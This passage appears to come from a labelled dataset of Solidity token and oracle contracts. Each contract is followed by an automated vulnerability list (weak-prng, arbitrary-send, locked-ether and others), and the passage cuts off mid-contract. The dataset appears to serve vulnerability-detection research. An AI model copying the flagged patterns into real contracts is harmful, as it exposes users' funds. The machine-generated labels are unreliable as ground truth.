} | These are the vulnerabilities found
1) weak-prng with High impact
2) unused-return with Medium impact
3) incorrect-equality with Medium impact
4) arbitrary-send with High impact |
pragma solidity 0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
function Pausable() public {}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Impressio is Pausable, SafeMath {
uint256 public totalSupply;
mapping(address => uint) public balances;
mapping (address => mapping (address => uint)) public allowed;
string public constant name = "Impressio";
string public constant symbol = "IMPR";
uint8 public constant decimals = 18;
// custom properties
bool public mintingFinished = false;
uint256 public constant MINTING_LIMIT = 100000000 * 1000000000000000000;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Impressio() public {}
function() public payable {
revert();
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
balances[msg.sender] = sub(balances[msg.sender], _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = add(balances[_to], _value);
balances[_from] = sub(balances[_from], _value);
allowed[_from][msg.sender] = sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public whenNotPaused returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = add(totalSupply, _amount);
require(totalSupply <= MINTING_LIMIT);
balances[_to] = add(balances[_to], _amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FInsurToken is CappedToken, PausableToken {
string public constant name = "FInsur Token (Released)"; // solium-disable-line uppercase
string public constant symbol = "FI"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 20 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-02-03
*/
pragma solidity 0.6.7;
abstract contract DSValueLike {
function getResultWithValidity() virtual external view returns (uint256, bool);
}
contract OSM {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "OSM/account-not-authorized");
_;
}
// --- Stop ---
uint256 public stopped;
modifier stoppable { require(stopped == 0, "OSM/is-stopped"); _; }
// --- Math ---
function add(uint64 x, uint64 y) internal pure returns (uint64 z) {
z = x + y;
require(z >= x);
}
address public priceSource;
uint16 constant ONE_HOUR = uint16(3600);
uint16 public updateDelay = ONE_HOUR;
uint64 public lastUpdateTime;
struct Feed {
uint128 value;
uint128 isValid;
}
Feed currentFeed;
Feed nextFeed;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event Start();
event Stop();
event ChangePriceSource(address priceSource);
event ChangeDelay(uint16 delay);
event RestartValue();
event UpdateResult(uint256 newMedian, uint256 lastUpdateTime);
constructor (address priceSource_) public {
authorizedAccounts[msg.sender] = 1;
priceSource = priceSource_;
if (priceSource != address(0)) {
(uint256 priceFeedValue, bool hasValidValue) = getPriceSourceUpdate();
if (hasValidValue) {
nextFeed = Feed(uint128(uint(priceFeedValue)), 1);
currentFeed = nextFeed;
lastUpdateTime = latestUpdateTime(currentTime());
emit UpdateResult(uint(currentFeed.value), lastUpdateTime);
}
}
emit AddAuthorization(msg.sender);
emit ChangePriceSource(priceSource);
}
function stop() external isAuthorized {
stopped = 1;
emit Stop();
}
function start() external isAuthorized {
stopped = 0;
emit Start();
}
function changePriceSource(address priceSource_) external isAuthorized {
priceSource = priceSource_;
emit ChangePriceSource(priceSource);
}
function currentTime() internal view returns (uint) {
return block.timestamp;
}
function latestUpdateTime(uint timestamp) internal view returns (uint64) {
require(updateDelay != 0, "OSM/update-delay-is-zero");
return uint64(timestamp - (timestamp % updateDelay));
}
function changeDelay(uint16 delay) external isAuthorized {
require(delay > 0, "OSM/delay-is-zero");
updateDelay = delay;
emit ChangeDelay(updateDelay);
}
function restartValue() external isAuthorized {
currentFeed = nextFeed = Feed(0, 0);
stopped = 1;
emit RestartValue();
}
function passedDelay() public view returns (bool ok) {
return currentTime() >= add(lastUpdateTime, updateDelay);
}
function getPriceSourceUpdate() internal view returns (uint256, bool) {
try DSValueLike(priceSource).getResultWithValidity() returns (uint256 priceFeedValue, bool hasValidValue) {
return (priceFeedValue, hasValidValue);
}
catch(bytes memory) {
return (0, false);
}
}
function updateResult() external stoppable {
require(passedDelay(), "OSM/not-passed");
(uint256 priceFeedValue, bool hasValidValue) = getPriceSourceUpdate();
if (hasValidValue) {
currentFeed = nextFeed;
nextFeed = Feed(uint128(uint(priceFeedValue)), 1);
lastUpdateTime = latestUpdateTime(currentTime());
emit UpdateResult(uint(currentFeed.value), lastUpdateTime);
}
}
function getResultWithValidity() external view returns (uint256,bool) {
return (uint(currentFeed.value), currentFeed.isValid == 1);
}
function getNextResultWithValidity() external view returns (uint256,bool) {
return (nextFeed.value, nextFeed.isValid == 1);
}
function read() external view returns (uint256) {
require(currentFeed.isValid == 1, "OSM/no-current-value");
return currentFeed.value;
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) unused-return with Medium impact
3) uninitialized-local with Medium impact |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => uint256) public freezeOf;
}
contract OneBroGlobal is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "One Bro Global Coin";
string public constant symbol = "OBGC";
uint public constant decimals = 8;
uint256 public totalSupply = 100000000000000;
uint256 public totalDistributed = 100000000000;
uint256 public constant MIN = 1 ether / 100;
uint256 public tokensPerEth = 100000000000;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function OneBroGlobal () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function AirdropSingle(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function AirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= MIN );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function freeze(uint256 _value) returns (bool success) {
if (balances[msg.sender] < _value) throw; // Check if the sender has enough
if (_value <= 0) throw;
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.add(freezeOf[msg.sender], _value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns (bool success) {
if (freezeOf[msg.sender] < _value) throw; // Check if the sender has enough
if (_value <= 0) throw;
freezeOf[msg.sender] = SafeMath.sub(freezeOf[msg.sender], _value); // Subtract from the sender
balances[msg.sender] = SafeMath.add(balances[msg.sender], _value);
emit Unfreeze(msg.sender, _value);
return true;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawEther() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function burnOneBroGlobal(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
} | These are the vulnerabilities found
1) shadowing-abstract with Medium impact |
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract Maxtercoin is BurnableToken, Ownable {
string public constant name = "Maxtercoin";
string public constant symbol = "MTC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 39000000 * (10 ** uint256(decimals));
// Constructors
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(0x0,msg.sender,initialSupply);
}
} | No vulnerabilities found |
pragma solidity >=0.4.22 <0.6.0;
contract ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint remaining);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
function transfer(address to, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract CoreV2 is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 100000*10**uint256(decimals);
string public constant name = "Core Finance V2";
string public constant symbol = "CF";
address payable teamAddress;
function totalSupply() public view returns (uint256) {
return initialSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address owner) public view returns (uint256 balance) {
return balances[owner];
}
function allowance(address owner, address spender) public view returns (uint remaining) {
return allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool success) {
if (balances[msg.sender] >= value && value > 0) {
balances[msg.sender] -= value;
balances[to] += value;
emit Transfer(msg.sender, to, value);
return true;
} else {
return false;
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
balances[to] += value;
balances[from] -= value;
allowed[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function () external payable {
